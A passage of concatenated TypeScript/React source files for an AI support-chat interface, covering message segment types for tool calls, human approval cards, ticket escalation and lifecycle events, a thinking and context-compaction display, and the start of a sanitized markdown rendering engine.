`EXECUTED_TOOL` segment instead of falling back to the raw\n * `toolFunction`.\n */\nexport interface ExecutingToolState {\n  integratedToolType: string;\n  toolFunction: string;\n  /** Mirrors {@link ToolExecutionData.toolTitle}; absent on `EXECUTED_TOOL`. */\n  toolTitle?: string;\n  /** Mirrors {@link ToolExecutionData.toolExplanation}; absent on `EXECUTED_TOOL`. */\n  toolExplanation?: string;\n  parameters?: Record<string, unknown>;\n}\n\n// ========== Approval Request Types ==========\n\nexport interface ApprovalRequestField {\n  /** Short label — e.g. \"Subject\", \"Priority\". Rendered in a muted\n   *  caps style above the value. */\n  label: string;\n  /** Free-text value. Wraps and line-breaks are preserved\n   *  (`whitespace-pre-wrap`). */\n  value: string;\n}\n\nexport interface ApprovalRequestData {\n  command: string;\n  /** Structured field list — preferred over `explanation`. When set,\n   *  the approval card renders a vertical label/value stack with\n   *  proper spacing. Falls back to `explanation` (a single paragraph)\n   *  when omitted. Keep BOTH when you want hosts on older lib\n   *  versions to still see the prose; new hosts should send only\n   *  `fields`. */\n  fields?: ApprovalRequestField[];\n  explanation?: string;\n  icon?: ReactNode;\n  requestId?: string;\n  approvalRequestId?: string;\n  approvalType?: string;\n}\n\nexport interface ApprovalResultData {\n  approvalRequestId: string;\n  approved: boolean;\n  approvalType?: string;\n  /** Display name of the user who resolved the request; null/absent for system actions. */\n  resolvedByName?: string | null;\n}\n\n// ========== Escalation Offer Types ==========\n\nexport interface EscalationOfferData {\n  offerId: string;\n  /** Backend-fixed card copy; the client never composes it. */\n  text: string;\n  /** Why the offer was raised (`TOOL`, `MANUAL`, a trigger reason). Carried\n   *  for telemetry — every origin renders the same card. */\n  origin?: string;\n}\n\n// ========== Ticket Escalated Types ==========\n\n/** Open union: the wire currently defines only `INACTIVITY`, and the block\n *  renders from `text` rather than branching on this, so a reason added\n *  server-side needs no client change. */\nexport type TicketEscalationReason = 'INACTIVITY' | (string & {});\n\n/** The handoff receipt — a real block on the wire, not something the client\n *  infers from an escalation offer's state. */\nexport interface TicketEscalatedData {\n  ticketId: string;\n  ticketNumber?: number;\n  reason: TicketEscalationReason;\n  /** Backend-authored explanation; the card falls back to generic copy when\n   *  the wire omits it (the field is nullable). */\n  text?: string;\n}\n\n// ========== Ticket Event Types ==========\n\n/** Known `TicketEventData.kind` values. The vocabulary is OPEN on the wire:\n *  an unknown kind still renders (as a neutral info line) rather than being\n *  dropped, so the backend can add lifecycle kinds without a client release. */\nexport const TICKET_EVENT_KIND = {\n  RESOLVED: 'RESOLVED',\n  REOPENED: 'REOPENED',\n} as const;\n\nexport type TicketEventKind = (typeof TICKET_EVENT_KIND)[keyof typeof TICKET_EVENT_KIND] | (string & {});\n\n/** Ticket lifecycle receipt (`TICKET_EVENT`) — the ticket was resolved,\n *  reopened, etc. Same field names live (NATS chunk) and persisted\n *  (GraphQL `TicketEventData` inside `messageData`), so ONE mapper covers\n *  both paths. All actor fields are optional: the event stays renderable\n *  when the backend can't attribute it. */\nexport interface TicketEventData {\n  kind: TicketEventKind;\n  actorId?: string;\n  actorName?: string;\n  /** Who acted — e.g. an AI agent vs a human. Open string like `kind`. */\n  actorType?: string;\n  reason?: string;\n  /** Kind-token of the status the ticket reopened INTO (AI_ASSISTANCE /\n   *  TECH_REQUIRED / CUSTOM / ...) — same open vocabulary the lifecycle\n   *  statuses use. Picks the REOPENED card's subtitle deterministically;\n   *  absent on RESOLVED events and older backends. */\n  targetStatusKind?: string;\n}\n\n/**\n * Single tool call inside a batch approval request.\n * Mirrors backend PendingToolCallDto.\n */\nexport interface PendingToolCallData {\n  toolExecutionRequestId: string;\n  toolName: string;\n  toolTitle?: string;\n  toolExplanation?: string;\n  toolType?: string;\n  requiresApproval: boolean;\n  approvalType?: string | null;\n  toolCallArguments?: Record<string, unknown> | null;\n}\n\n/**\n * Per-tool execution state inside an approval batch.\n * Populated by EXECUTING_TOOL / EXECUTED_TOOL chunks that carry a\n * `toolExecutionRequestId` matching one of the batch's tool calls.\n */\nexport interface ApprovalBatchExecutionState {\n  status: 'executing' | 'done';\n  result?: string;\n  success?: boolean;\n}\n\nexport interface ApprovalBatchData {\n  approvalRequestId: string;\n  /** Highest approval type required across the batch (e.g. ADMIN beats CLIENT). */\n  approvalType: string;\n  toolCalls: PendingToolCallData[];\n  /**\n   * Keyed by `PendingToolCallData.toolExecutionRequestId`. Absent before\n   * approval; rows without an entry render as \"queued\" (loader) once the\n   * batch itself is approved.\n   */\n  executions?: Record<string, ApprovalBatchExecutionState>;\n}\n\n/** Approve/reject handler stamped onto approval segments. MAY resolve a\n *  boolean success flag — `false` means the confirm FAILED (expired\n *  proposal, network error); batch approve-all loops use it to tick the\n *  row's failure cross. `void` (legacy transports) is treated as\n *  success. Single source of truth for this signature — component\n *  props, accumulator callbacks, and adapters all reference it. */\nexport type ApprovalResolutionHandler = (requestId?: string) => void | boolean | Promise<void | boolean>;\n\n// ========== Message Segment Types ==========\n\nexport type TextSegment = {\n  type: 'text';\n  text: string;\n};\n\nexport type ThinkingSegment = {\n  type: 'thinking';\n  text: string;\n};\n\n/** One reading the assistant offers in an `ask` card. `label` is BOTH the row's\n *  headline and the exact text sent back when the row is picked — the backend's\n *  guide classifier resolves the user's next message against the labels it\n *  offered, so the reply must be the label verbatim. `description` is a short\n *  clarifying line rendered under it. */\nexport type AskOptionData = {\n  label: string;\n  description?: string;\n};\n\n/** Clarification card — the assistant asking WHICH reading of an ambiguous\n *  question it should answer, rendered as a heading plus a list of clickable\n *  options instead of prose bullets. NATS-only (the `ASK` chunk); the intro\n *  sentence riding the same chunk becomes an ordinary `text` segment in front\n *  of the card, so it goes through the normal markdown body pipeline. Unlike\n *  the three delta streams an ask arrives whole — it is never coalesced. */\nexport type AskSegment = {\n  type: 'ask';\n  question: string;\n  options: AskOptionData[];\n};\n\nexport type ToolExecutionSegment = {\n  type: 'tool_execution';\n  data: ToolExecutionData;\n};\n\nexport type ApprovalRequestSegment = {\n  type: 'approval_request';\n  data: ApprovalRequestData & { approvalType?: string };\n  status?: ChatApprovalStatus;\n  /** Display name of the user who resolved the request; baked into the client\n   *  variant's full-text status pill (\"Approved by {name}\"). */\n  resolvedByName?: string | null;\n  onApprove?: ApprovalResolutionHandler;\n  onReject?: ApprovalResolutionHandler;\n};\n\nexport type ApprovalBatchSegment = {\n  type: 'approval_batch';\n  data: ApprovalBatchData;\n  status?: ChatApprovalStatus;\n  /** Display name of the user who resolved the request; set when the batch is resolved (null/absent for system actions). */\n  resolvedByName?: string | null;\n  onApprove?: ApprovalResolutionHandler;\n  onReject?: ApprovalResolutionHandler;\n};\n\n/**\n * Ticket-escalation offer block. Visually the client approval card (same\n * Figma component), but a SEPARATE segment type on purpose: it resolves\n * through the ticket-escalation GraphQL mutations rather than the tool\n * approval endpoint, and hosts that hide pending tool approvals from the\n * thread must still render this one inline.\n *\n * `cancelled` is the wire's SUPERSEDED — the client typed over the offer.\n */\nexport type EscalationOfferSegment = {\n  type: 'escalation_offer';\n  data: EscalationOfferData;\n  status?: ChatApprovalStatus;\n  resolvedByName?: string | null;\n  onApprove?: ApprovalResolutionHandler;\n  onReject?: ApprovalResolutionHandler;\n};\n\n/**\n * The conversation was handed off to a human technician. Decoded from the\n * `TICKET_ESCALATED` block, so it appears for every escalation path the\n * backend emits it for — including the inactivity auto-escalation, which\n * raises no offer and therefore has no offer state to infer from.\n */\nexport type TicketEscalatedSegment = {\n  type: 'ticket_escalated';\n  data: TicketEscalatedData;\n};\n\n/**\n * Ticket lifecycle receipt (resolved / reopened / an unknown future kind).\n * Arrives as a standalone `TICKET_EVENT` chunk outside MESSAGE_START/END —\n * same delivery shape as `ticket_escalated`.\n *\n * `streamSeq` is the chunk's JetStream sequence, kept ON the segment because\n * it is the event's only stable identity: the accumulator upserts on it so a\n * redelivered chunk (catch-up over hydrated history) replaces rather than\n * stacks a second card, while two genuinely distinct events of the same kind\n * (resolve → reopen → resolve) keep distinct sequences and both render.\n */\nexport type TicketEventSegment = {\n  type: 'ticket_event';\n  data: TicketEventData;\n  streamSeq?: number;\n  /** When THIS event happened (history: the persisted row's `createdAt`;\n   *  live: chunk arrival). Kept beside `streamSeq`, not in `data`: the\n   *  upsert's payload-equality fallback must keep matching a redelivered\n   *  chunk to its hydrated twin, and their times come from different clocks.\n   *  Without it the card inherits the surrounding assistant bubble's\n   *  timestamp — the FIRST row of the whole turn, so every lifecycle card\n   *  reads the same stale time. */\n  occurredAt?: Date;\n};\n\nexport type ErrorSegment = {\n  type: 'error';\n  title: string;\n  details?: string;\n};\n\nexport type ContextCompactionSegment = {\n  type: 'context_compaction';\n  status: 'started' | 'completed';\n  summary?: string;\n};\n\nexport type MessageSegment =\n  | TextSegment\n  | ThinkingSegment\n  | AskSegment\n  | ToolExecutionSegment\n  | ApprovalRequestSegment\n  | ApprovalBatchSegment\n  | EscalationOfferSegment\n  | TicketEscalatedSegment\n  | TicketEventSegment\n  | ErrorSegment\n  | ContextCompactionSegment;\n\nexport type MessageContent = string | MessageSegment[];\n\n// ========== Message Data Types (from GraphQL/API) ==========\n\nexport interface MessageDataBase {\n  type: MessageType;\n}\n\nexport interface TextMessageData extends MessageDataBase {\n  type: 'TEXT';\n  text?: string;\n  /** Entity references the user attached to the message. Wire shape is\n   *  `[{ type, id }]`; rows missing `id` are dropped by the history\n   *  processor, so `id` is optional here. */\n  contextItems?: Array<{ type?: string; id?: string }>;\n}\n\nexport interface ThinkingMessageData extends MessageDataBase {\n  type: 'THINKING';\n  text?: string;\n}\n\n/**\n * A document cited by an assistant answer, rendered as a chip under it.\n *\n * Lives here, beside `Message`, because BOTH transports produce it now: the SSE\n * adapter reads it off the per-turn metadata frame, and the NATS path decodes it\n * out of a `GUIDE`/`SOURCES` chunk. It used to be declared inside\n * `use-sse-chat-adapter`, which made \"a Guide answer's citations\" structurally a\n * property of one transport — `use-sse-chat-adapter` still re-exports the name\n * so existing imports keep working.\n */\nexport interface ChatSource {\n  /** 1-based citation number. `[1]` in the answer text refers to this. */\n  index: number;\n  name: string;\n  path: string;\n  documentType: string;\n  externalUrl?: string;\n  /** Platform that owns the destination at `externalUrl`. */\n  targetPlatform?: string | null;\n  /** Primary-key value for single-row chips. */\n  id?: string;\n  /** Per-row items for grouped chips. */\n  items?: Array<{\n    id: string;\n    documentType: string;\n    name: string;\n    externalUrl?: string;\n    targetPlatform?: string | null;\n    /** In-app doc-tree path for markdown / data-room-doc rows so the\n     *  grouped chip's anchor can trigger an in-page doc-tree swap via\n     *  `handleChatNavClick` (parity with single-row chips + cards). */\n    path?: string | null;\n  }>;\n  /** RagTableConfig.id for this source. */\n  sourceRepo?: string;\n  /** Optional display label override returned by the chat API. */\n  label?: string;\n}\n\n/** Persisted source-metadata row. `payload` is the SAME object the live chunk\n *  carries, so history and realtime share one decoder (`sourceMetadataEvent`)\n *  and cannot drift apart. Left as an open record here rather than typed\n *  structurally: it is unvalidated wire data, and the decoder is what turns it\n *  into `ChatSource[]` / `ChatRef[]`. */\nexport interface SourceMetadataMessageData extends MessageDataBase {\n  type: 'GUIDE' | 'SOURCES';\n  payload?: unknown;\n}\n\n/** Persisted `ASK` row (GraphQL `AskData`). `text` is the intro sentence, which\n *  history replays as a text segment ahead of the card — same split the live\n *  `ASK` chunk carries. */\nexport interface AskMessageData extends MessageDataBase {\n  type: 'ASK';\n  text?: string;\n  question?: string;\n  /** WIRE shape — `label` is optional here because the backend can (and does)\n   *  ship label-less rows; `normalizeAskOptions` drops them, which is what\n   *  turns this into the card's `AskOptionData[]`. */\n  options?: Array<{ label?: string; description?: string }>;\n}\n\nexport interface ExecutingToolMessageData extends MessageDataBase {\n  type: 'EXECUTING_TOOL';\n  integratedToolType?: string;\n  toolFunction?: string;\n  /** Backend-issued human-readable title (wire field, mirrors `ChunkData.title`). */\n  title?: string;\n  /** Backend-issued human-readable explanation (what/why) of the tool call. */\n  toolExplanation?: string;\n  parameters?: Record<string, unknown>;\n  toolExecutionRequestId?: string;\n}\n\nexport interface ExecutedToolMessageData extends MessageDataBase {\n  type: 'EXECUTED_TOOL';\n  integratedToolType?: string;\n  toolFunction?: string;\n  /** Backend-issued human-readable title (wire field, mirrors `ChunkData.title`). */\n  title?: string;\n  parameters?: Record<string, unknown>;\n  result?: string;\n  success?: boolean;\n  toolExecutionRequestId?: string;\n}\n\nexport interface ApprovalRequestMessageData extends MessageDataBase {\n  type: 'APPROVAL_REQUEST';\n  approvalRequestId?: string;\n  approvalType?: string;\n  command?: string;\n  explanation?: string;\n  /** Present when the approval is a batch of tool calls (new format). */\n  toolCalls?: PendingToolCallData[];\n}\n\nexport interface ApprovalResultMessageData extends MessageDataBase {\n  type: 'APPROVAL_RESULT';\n  approvalRequestId?: string;\n  approved?: boolean;\n  approvalType?: string;\n  /** Display name of the user who resolved the request; null/absent for system actions. */\n  resolvedByName?: string | null;\n}\n\n/**\n * Persisted escalation-offer row. The PENDING row carries `text`/`origin`;\n * the resolution is a SECOND row with the same `offerId`, state\n * APPROVED/DECLINED/SUPERSEDED and no text — matched on replay by id.\n */\nexport interface EscalationOfferMessageData extends MessageDataBase {\n  type: 'ESCALATION_OFFER';\n  offerId?: string;\n  state?: string;\n  text?: string;\n  origin?: string;\n  resolvedByUserId?: string | null;\n  resolvedByName?: string | null;\n}\n\nexport interface TicketEscalatedMessageData extends MessageDataBase {\n  type: 'TICKET_ESCALATED';\n  ticketId?: string;\n  ticketNumber?: number;\n  reason?: TicketEscalationReason;\n  text?: string;\n}\n\n/** Persisted ticket lifecycle row — same field names as the live chunk\n *  (see `TicketEventData`), decoded by the SAME mapper on replay. Fields are\n *  wire-shaped (`| null`): every one is a nullable GraphQL scalar. */\nexport interface TicketEventMessageData extends MessageDataBase {\n  type: 'TICKET_EVENT';\n  kind?: string | null;\n  actorId?: string | null;\n  actorName?: string | null;\n  actorType?: string | null;\n  reason?: string | null;\n  targetStatusKind?: string | null;\n}\n\nexport interface ErrorMessageData extends MessageDataBase {\n  type: 'ERROR';\n  error?: string;\n  details?: string;\n}\n\nexport interface AIMetadataMessageData extends MessageDataBase {\n  type: 'AI_METADATA';\n  modelName?: string;\n  providerName?: string;\n  provider?: string;\n  contextWindow?: number;\n}\n\nexport interface TokenUsageData {\n  inputTokensSize: number;\n  outputTokensSize: number;\n  totalTokensSize: number;\n  contextSize: number;\n}\n\nexport interface SystemMessageData extends MessageDataBase {\n  type: 'SYSTEM';\n  text?: string;\n}\n\n/**\n * Human-technician takeover row. A REALTIME-only concept: the history\n * processors have no branch for it, so a persisted `DIRECT_MESSAGE` row\n * contributes nothing on reload (pinned by the golden characterization test).\n * Declared here so the wire shape is nameable without `any`.\n */\nexport interface DirectMessageData extends MessageDataBase {\n  type: 'DIRECT_MESSAGE';\n  text?: string;\n}\n\nexport interface ContextCompactionStartMessageData extends MessageDataBase {\n  type: 'CONTEXT_COMPACTION_START';\n}\n\nexport interface ContextCompactionEndMessageData extends MessageDataBase {\n  type: 'CONTEXT_COMPACTION_END';\n  summary?: string;\n}\n\nexport type MessageData =\n  | TextMessageData\n  | ThinkingMessageData\n  | AskMessageData\n  | SourceMetadataMessageData\n  | ExecutingToolMessageData\n  | ExecutedToolMessageData\n  | ApprovalRequestMessageData\n  | ApprovalResultMessageData\n  | EscalationOfferMessageData\n  | TicketEscalatedMessageData\n  | TicketEventMessageData\n  | ErrorMessageData\n  | AIMetadataMessageData\n  | SystemMessageData\n  | DirectMessageData\n  | ContextCompactionStartMessageData\n  | ContextCompactionEndMessageData;\n\n// ========== Historical Message Types ==========\n\nexport interface HistoricalMessage {\n  id: string;\n  dialogId?: string;\n  chatType?: string;\n  createdAt: string;\n  owner?: MessageOwner;\n  messageData?: MessageData | MessageData[];\n  /** Persisted stream sequence of this row's last chunk (the backend's\n   *  `lastChunkStreamSeq`). Passed through to the processed message's\n   *  `streamSeq` so `mergeHistoryWithRealtime` can decide coverage per-role\n   *  (a synthetic is covered only by a persisted row of its OWN role reaching\n   *  its seq). Optional — absent for rows the backend doesn't stamp (e.g. user\n   *  MESSAGE_REQUEST rows), which then don't participate in seq coverage. */\n  lastChunkStreamSeq?: number | null;\n}\n\n// ========== Processed Message Types ==========\n\nexport interface ProcessedMessage {\n  id: string;\n  role: 'user' | 'assistant' | 'error'; // Limited to display roles\n  content: MessageContent;\n  name?: string;\n  assistantType?: AssistantType;\n  authorType?: AuthorType;\n  timestamp: Date;\n  avatar?: string;\n  /** Persisted last-chunk stream sequence carried through from\n   *  `HistoricalMessage.lastChunkStreamSeq` (for assistant turns: the MAX\n   *  across the grouped rows). Hosts stamp it onto the rendered message's\n   *  `streamSeq` so the history/realtime merge can do per-role seq coverage.\n   *  Absent when the source row(s) carried no seq. */\n  streamSeq?: number;\n  /** Documents this answer cited — see `Message.sources`, the same field.\n   *  Replayed from the turn's persisted `GUIDE`/`SOURCES` row, so a reloaded\n   *  answer carries the citations the live one did. */\n  sources?: ChatSource[];\n  /** Entity references this answer's metadata described — see `Message.refs`. */\n  refs?: ChatRef[];\n}\n\n// ========== Base Message Interface ==========\n\nimport type { ReactNode } from 'react';\nimport type { ChatContextItem } from './context-item.types';\n\nexport interface Message {\n  id: string;\n  role: 'user' | 'assistant' | 'error'; // Limited to display roles\n  content: MessageContent;\n  name?: string;\n  assistantType?: AssistantType;\n  authorType?: AuthorType;\n  timestamp?: Date;\n  avatar?: string | null;\n  /** Highest CONTENT chunk streamSeq that composed this message. Stamped on\n   *  realtime synthetics so `mergeHistoryWithRealtime` can decide history\n   *  coverage per-message (see `MergeableChatMessage.streamSeq`). */\n  streamSeq?: number;\n  /** Entity-context items attached to this (user) message via the composer's\n   *  context picker. When present the message bubble renders the context\n   *  chips beneath its text (Figma node 31:28709). Optional — omitted for\n   *  assistant messages and turns sent without context. */\n  contextItems?: ChatContextItem[];\n  /** Per-message viewport-positioning hint. OPTIONAL — when omitted (the\n   *  default for every LLM Q&A / browse / search / find / Discuss path)\n   *  the chat tails as today via `use-stick-to-bottom`. Only `'top'` opts\n   *  in to the alternative top-anchor behaviour (display-action answers\n   *  whose body is a long article). The server is the sole decision-\n   *  maker — set on the metadata leading frame. */\n  scrollAnchor?: ScrollAnchor;\n  /** When true the message is part of the API conversation history (sent\n   *  to the LLM so it has context) but is NOT rendered in the chat UI.\n   *\n   *  Used for \"synthetic continuation\" turns: when the user clicks Approve\n   *  on a tool proposal, the host auto-fires a follow-up `sendMessage`\n   *  with `hidden: true` carrying a directive like \"the user just\n   *  approved <tool>; ask follow-up questions per protocol\". The LLM's\n   *  response IS rendered (as a normal assistant message); only the\n   *  trigger prompt is suppressed so the chat reads naturally:\n   *\n   *    user: \"open a ticket\"\n   *    assistant: preamble + approval card\n   *    [user clicks Approve]\n   *    assistant: \"Now to triage faster, can you share...\"   ← auto-fires\n   *\n   *  Without this flag the trigger prompt would surface as a confusing\n   *  bubble like \"(continue per protocol)\" between the approval card\n   *  and the AI's follow-up. */\n  hidden?: boolean;\n  /**\n   * Documents this answer cited, rendered as chips beneath it.\n   *\n   * Per MESSAGE, not per conversation: an answer's citations belong to the\n   * answer, and a thread can hold several answers that each cited something\n   * different. Ordering is a rendering concern — see `splitCitedSources`.\n   */\n  sources?: ChatSource[];\n  /**\n   * Entity references this answer's metadata described — videos and cards.\n   *\n   * Presence here does NOT mean \"render it\": only the `[card://type:id]`\n   * markers actually written into the answer text are rendered, and these\n   * supply the data those markers expand with. The metadata frame routinely\n   * describes more than the model chose to cite.\n   */\n  refs?: ChatRef[];\n}\n","'use client';\n\nimport { forwardRef } from 'react';\n\nimport { cn } from '../../utils/cn';\nimport { CheckCircleIcon, DotsLoaderIcon } from '../icons-v2-generated';\nimport type { ContextCompactionDisplayProps } from './types';\n\nconst ContextCompactionDisplay = forwardRef<HTMLDivElement, ContextCompactionDisplayProps>(\n  ({ className, status, ...props }, ref) => {\n    const isStarted = status === 'started';\n    const label = isStarted ? 'Context limit reached. Summarizing earlier messages.' : 'Earlier context summarized.';\n\n    return (\n      <div\n        ref={ref}\n        className={cn('flex items-center gap-2 rounded-[6px] border border-ods-border bg-ods-card p-1.5', className)}\n        {...props}\n      >\n        <span className=\"min-w-0 flex-1 text-ods-text-secondary text-h6\">{label}</span>\n        {isStarted ? (\n          <DotsLoaderIcon size={16} className=\"text-ods-text-secondary\" />\n        ) : (\n          <CheckCircleIcon className=\"h-4 w-4 shrink-0 text-ods-success\" />\n        )}\n      </div>\n    );\n  },\n);\n\nContextCompactionDisplay.displayName = 'ContextCompactionDisplay';\n\nexport { ContextCompactionDisplay };\n","'use client';\n\nimport { forwardRef, useState } from 'react';\nimport type { KeyboardEvent } from 'react';\nimport { cn } from '../../utils/cn';\nimport { DotsLoaderIcon } from '../icons-v2-generated';\nimport { SimpleMarkdownRenderer } from '../ui/markdown/simple-markdown-renderer';\nimport { ExpandChevron } from './expand-chevron';\nimport { useCollapsible } from './hooks/use-collapsible';\nimport type { ThinkingDisplayProps } from './types';\n\n// Tame SimpleMarkdownRenderer for the muted \"thought\" aesthetic:\n//  - all text in secondary tone with small size\n//  - bold pops back to primary so emphasis still reads\n//  - tighter paragraph/list/heading spacing (renderer ships with mt-8 mb-4)\n//  - flatter horizontal rules\n//  - inline-code visually quieter inside thoughts\n//  - fenced code blocks (`.code-block-container`) lose the renderer's `my-6`\n//    and inner `p-4` so they sit flush with surrounding paragraphs\nconst thoughtMdClasses = [\n  // Body & lists — muted grey, never white.\n  '[&_p]:!text-sm [&_p]:!text-ods-text-secondary [&_p]:!leading-snug [&_p]:!my-2 [&_p:first-child]:!mt-0 [&_p:last-child]:!mb-0',\n  '[&_li]:!text-sm [&_li]:!text-ods-text-secondary [&_li]:!leading-snug',\n  '[&_ul]:!my-2 [&_ol]:!my-2 [&_ul]:!pl-5 [&_ol]:!pl-5',\n  // Inline emphasis stays grey too. Bold pops via weight (no color shift),\n  // italic via slant — neither is allowed to brighten into white.\n  '[&_strong]:!text-ods-text-secondary [&_strong]:!font-semibold',\n  '[&_em]:!text-ods-text-secondary',\n  // Headings — SimpleMarkdownRenderer paints them `text-ods-text-primary`\n  // by default. Override every level back to secondary grey so headings\n  // don't suddenly turn white inside a thought block.\n  '[&_h1]:!text-sm [&_h1]:!text-ods-text-secondary [&_h1]:!font-semibold [&_h1]:!mt-3 [&_h1]:!mb-1 [&_h1]:!pb-0 [&_h1]:!border-0',\n  '[&_h2]:!text-sm [&_h2]:!text-ods-text-secondary [&_h2]:!font-semibold [&_h2]:!mt-3 [&_h2]:!mb-1 [&_h2]:!pb-0 [&_h2]:!border-0',\n  '[&_h3]:!text-sm [&_h3]:!text-ods-text-secondary [&_h3]:!font-semibold [&_h3]:!mt-3 [&_h3]:!mb-1',\n  '[&_h4]:!text-sm [&_h4]:!text-ods-text-secondary [&_h4]:!font-semibold [&_h4]:!mt-2 [&_h4]:!mb-1',\n  '[&_h5]:!text-sm [&_h5]:!text-ods-text-secondary [&_h5]:!font-semibold [&_h5]:!mt-2 [&_h5]:!mb-1',\n  '[&_h6]:!text-sm [&_h6]:!text-ods-text-secondary [&_h6]:!font-semibold [&_h6]:!mt-2 [&_h6]:!mb-1',\n  // Rules\n  '[&_hr]:!my-3 [&_hr]:!border-ods-border [&_hr]:!opacity-40',\n  // Inline code — Cursor-style chip: no border, background a notch\n  // LIGHTER than the surrounding thought card (`bg-ods-border` is the\n  // brightest neutral grey in the palette and sits above `bg-ods-card`),\n  // small rounded corners, tight padding. Reads as a clearly raised token\n  // without the loud bordered chip of the default renderer.\n  '[&_code]:!text-[12px] [&_code]:!text-ods-text-secondary',\n  '[&_code]:!border-0 [&_code]:!bg-ods-border [&_code]:!rounded',\n  '[&_code]:!px-1.5 [&_code]:!py-0.5',\n  '[&_.code-block-container]:!my-2',\n  '[&_.code-block-container_.code-header]:!py-1 [&_.code-block-container_.code-header]:!px-3',\n  '[&_.code-block-container_>div:last-child]:!p-3',\n].join(' ');\n\nconst ThinkingDisplay = forwardRef<HTMLDivElement, ThinkingDisplayProps>(\n  ({ className, text, isStreaming = false, ...props }, ref) => {\n    const [expanded, setExpanded] = useState(false);\n    // 26px ≈ one line of `text-sm leading-snug` (~19px) + space for the\n    // bordered/padded `<code>` badges that markdown renders inline. With\n    // exact 1lh the bottom of those badges gets clipped.\n    const { innerRef, isOverflowing, containerStyle } = useCollapsible({\n      expanded,\n      collapsedHeight: 19,\n      disableTransition: isStreaming,\n    });\n    const label = isStreaming ? 'Thinking' : 'Thought';\n    const canToggle = isOverflowing || expanded;\n\n    const toggle = () => canToggle && setExpanded(!expanded);\n    const handleKeyDown = (e: KeyboardEvent) => {\n      if (!canToggle) return;\n      if (e.key === 'Enter' || e.key === ' ') {\n        e.preventDefault();\n        setExpanded(!expanded);\n      }\n    };\n\n    return (\n      <div ref={ref} className={cn('rounded-[6px] border border-ods-border bg-ods-card p-1.5', className)} {...props}>\n        <div\n          role=\"button\"\n          tabIndex={canToggle ? 0 : -1}\n          aria-expanded={expanded}\n          onClick={toggle}\n          onKeyDown={handleKeyDown}\n          className={cn('flex w-full items-start gap-3 text-left', canToggle ? 'cursor-pointer' : 'cursor-default')}\n        >\n          <div className=\"flex h-[19px] shrink-0 items-center gap-1\">\n            <span className=\"text-sm font-medium leading-snug text-ods-text-secondary\">{label}:</span>\n            {isStreaming && <DotsLoaderIcon size={16} className=\"text-ods-text-secondary\" />}\n          </div>\n\n          <div className=\"min-w-0 flex-1\" style={containerStyle}>\n            <div ref={innerRef} className={cn('text-sm leading-snug text-ods-text-secondary', thoughtMdClasses)}>\n              <SimpleMarkdownRenderer content={text} textSize=\"compact\" />\n            </div>\n          </div>\n\n          {canToggle && (\n            <div className=\"flex h-[19px] shrink-0 items-center\">\n              <ExpandChevron expanded={expanded} />\n            </div>\n          )}\n        </div>\n      </div>\n    );\n  },\n);\n\nThinkingDisplay.displayName = 'ThinkingDisplay';\n\nexport { ThinkingDisplay };\n","'use client';\n\n/**\n * MarkdownEngine — THE one react-markdown pipeline for every surface\n * (chat messages, blog, docs, KB articles, legal, releases, admin previews).\n *\n * `SimpleMarkdownRenderer` and `RichMarkdownRenderer` are thin compositions\n * over this engine (see ./simple-markdown-renderer.tsx and ./rich/) — there\n * is exactly ONE parse path, ONE sanitizer stack, ONE mermaid, ONE\n * heading-id algorithm, ONE link-click model. Do not fork this pipeline;\n * extend via `componentOverrides` / `additionalRemarkPlugins` /\n * `preprocessContent` / `extraAllowedHtmlTags`.\n *\n * Pipeline order (each stage documented in ./sanitize.ts):\n *   preprocessContent (composition hook, e.g. shortcodes)\n *   → completeStreamingTail (streaming only — MUST precede the escape pass)\n *   → escapeUnknownHtmlTags (text pre-pass, React 19 crash guard)\n *   → remark: remarkGfm, remarkBreaks, ...additionalRemarkPlugins\n *   → rehype: rehypeRaw → rehypeSanitize(schema) → rehypeStripUnsafe\n *       → rehypeHighlight\n *   → urlTransform: cardAwareUrlTransform\n *   → components: buildBaseComponents(...) spread-last componentOverrides\n */\nimport type React from 'react';\nimport { memo, useMemo } from 'react';\nimport ReactMarkdown, { type Components } from 'react-markdown';\nimport rehypeHighlight from 'rehype-highlight';\nimport rehypeRaw from 'rehype-raw';\nimport rehypeSanitize from 'rehype-sanitize';\nimport remarkBreaks from 'remark-breaks';\nimport remarkGfm from 'remark-gfm';\nimport type { PluggableList } from 'unified';\nimport type { ResolveLinkResult } from '../../../types/doc-source';\nimport { buildBaseComponents } from './base-components';\nimport { HeadingIdMapContext, HeadingLineOffsetContext, useHeadingIdMap, type HeadingSection } from './heading-ids';\nimport {\n  buildEffectiveTagSet,\n  buildSanitizeSchema,\n  cardAwareUrlTransform,\n  escapeUnknownHtmlTags,\n  rehypeStripUnsafe,\n} from './sanitize';\nimport { completeStreamingTail, splitStreamingBlocks } from './streaming';\nimport { resolveTextSizeConfig, type TextSizeConfig } from './text-size';\n\nexport type { ResolveLinkResult };\n\n/**\n * Module-scope empty default for `brokenLinks`.\n *\n * A `brokenLinks = []` DEFAULT PARAMETER allocates a fresh array on every\n * render, so the `components` useMemo (which lists it as a dep) recomputed\n * every render, which changed `StreamingBlockRenderer`'s `components` prop\n * identity, which made its `memo` bail EVERY time — every completed block\n * re-parsed on every streamed token, defeating the entire atomic-block\n * optimization. Any new default that is an object/array/function MUST be\n * hoisted here for the same reason.\n *\n * Exported so the compositions that apply the SAME default before handing\n * props down (rich) share this ONE identity instead of declaring a second\n * module-scope empty array with a copy of this rationale. Deliberately NOT\n * re-exported from ./index — it is an internal identity contract between the\n * engine and its compositions, not public API.\n */\nexport const NO_BROKEN_LINKS: readonly string[] = [];\n\nexport interface MarkdownEngineProps {\n  content: string;\n  className?: string;\n  /** Backend-provided heading IDs for deep-link anchors */\n  sectionIds?: HeadingSection[];\n  /** When the page already has an H1, render markdown `#` as `<h2>` */\n  demoteMarkdownH1ToH2?: boolean;\n  /** List of broken link hrefs detected server-side (shown with [BROKEN] badge) */\n  brokenLinks?: readonly string[];\n  /** Callback for internal (non-http, non-anchor) link clicks */\n  onInternalLinkClick?: (path: string, options?: { expandFolder?: boolean; fromInternalLink?: boolean }) => void;\n  /** Current documentation path — enables internal-link mode when set */\n  currentPath?: string;\n  /** Resolve an internal link href to a navigation path. */\n  onResolveLink?: (href: string, currentPath: string) => Promise<ResolveLinkResult>;\n  /** Pre-process the raw markdown string before rendering (e.g. shortcode expansion) */\n  preprocessContent?: (content: string) => string;\n  /** Merge additional or override react-markdown component renderers (spread LAST — caller wins) */\n  componentOverrides?: Partial<Components>;\n  /** Extra remark plugins appended after the built-in remarkGfm + remarkBreaks */\n  additionalRemarkPlugins?: PluggableList;\n  /** Text sizing preset / per-element overrides */\n  textSize?: TextSizeConfig;\n  /**\n   * Extra raw-HTML tags this composition admits. Unioned into BOTH the\n   